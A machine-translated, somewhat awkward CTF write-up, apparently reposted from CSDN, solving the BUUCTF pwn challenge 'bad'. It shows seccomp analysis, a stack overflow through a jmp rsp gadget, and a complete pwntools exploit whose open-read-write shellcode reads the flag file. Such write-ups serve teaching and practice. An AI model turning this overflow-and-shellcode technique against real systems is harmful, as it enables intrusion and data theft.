[BUUCTF] PWN- [オタクチャレンジ2019]悪くない(orw_shellcode)

[オタクチャレンジ2019]悪くない

別館

ステップ

  1. 定期検査、64ビットプログラム、保護をオンにするのに役に立たない
    ここに画像の説明を挿入します

  2. ローカルテストを実行して、一般的な状況を確認します。プログラムプロンプトによると、これは単純なシェルコードです。経験によれば、これは確かに単純ではありません。
    ここに画像の説明を挿入します

  3. 64ビットidaロード。mmap関数
    ここに画像の説明を挿入します
    に関するBaiduの紹介。0x123000からアドレスを変更し、サイズは0x1000の長さで、権限は書き込み可能で実行可能なsub_400949()に変更されます。サンドボックスフィルタリング使用できる関数確認するために使用します。 、読み取りのみが見つかりました。書き込み、オープン、終了を使用できます。この質問は、明らかなオーバーフローの脆弱性であるフラグsub_400906()sub_400A16()を取得するために、このようなorwメソッドを使用して取得する必要があると推定されます。


    ここに画像の説明を挿入します
    seccomp-tools dump ./bad
    ここに画像の説明を挿入します
    open-->read-->write

    ここに画像の説明を挿入します

    ここに画像の説明を挿入します

  4. この質問のアイデアは非常に単純で、orwタイプのシェルコードを記述してから、ジャンプして実行します。bufのサイズはわずか0x20であり、プログラムの開始時に完全なrop攻撃チェーンを記述するのに十分ではないと感じています。 、0x100の実行可能スペースを開きました。ここにシェルコードを記述し、bufのオーバーフローを使用してジャンプしてシェルコードを実行する予定です。

  5. まず、orwのシェルコードを記述します

mmap=0x123000
orw_payload=shellcraft.open('./flag')           #打开根目录下的flag文件
orw_payload+=shellcraft.read(3,mmap,0x50)       #读取文件标识符是3的文件0x50个字节存放到mmap分配的地址空间里
orw_payload+=shellcraft.write(1,mmap,0x50)      #将mmap地址上的内容输出0x50个字节

ファイル記述子fdの詳細については、この記事を参照してください。ここで簡単に説明します。
プログラムの実行時にファイル記述子が3から始まり、書き込みの1がディスプレイへの標準出力であるため、読み取りのfdは3を書き込みます。これらの知識ポイントは、私が提供したリンクにあります。

  1. 次に、
    bufのrop攻撃チェーンについて記述します。bufのrop攻撃チェーンのタスクはorw_payloadをmmapに書き込み、プログラムをmmapにジャンプさせてorw_payloadを実行し、目的を決定した後、rop攻撃チェーンの記述を開始することです。
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')#buf里的rop是往mmap里读入0x100长度的数据,跳转到mmap的地址执行

このようにして、bufのropは目的を達成します。次に、bufのコンテンツを実行する方法を見つけます。
プログラムにはjmp rspがあり、これを使用してbufにジャンプして実行できます。 bufアドレスはrsp-0x30です
。subrsp、0x30; jmp rspは、要件を満たすために8バイト未満です。ここに画像の説明を挿入します
bufでの完全なrop攻撃チェーン

jmp_rsp=0x400A01
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')#buf里的rop是往mmap里读入0x100长度的数据,跳转到mmap的地址执行
payload=payload.ljust(0x28,'\x00')#buf的大小是0x20,加上rbp0x8是0x28,用’\x00‘去填充剩下的位置
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')#返回地址写上跳转到rsp
p.recvuntil('Easy shellcode, have fun!')
p.sendline(payload)

このようにして、bufのropも構築され、orw_payloadを渡すことで残りを読み取ることができます。

完全な経験

from pwn import *

context.arch='amd64'

elf = ELF('./bad')
p = remote('node3.buuoj.cn',28461)


mmap=0x123000
orw_payload = shellcraft.open("./flag")
orw_payload += shellcraft.read(3, mmap, 0x50)
orw_payload += shellcraft.write(1, mmap,0x50)

jmp_rsp=0x400A01
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
payload=payload.ljust(0x28,'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
p.recvuntil('Easy shellcode, have fun!')
p.sendline(payload)


shellcode=asm(orw_payload)
p.sendline(shellcode)
p.interactive()

ここに画像の説明を挿入します

おすすめ

転載: blog.csdn.net/mcmuyanga/article/details/113389703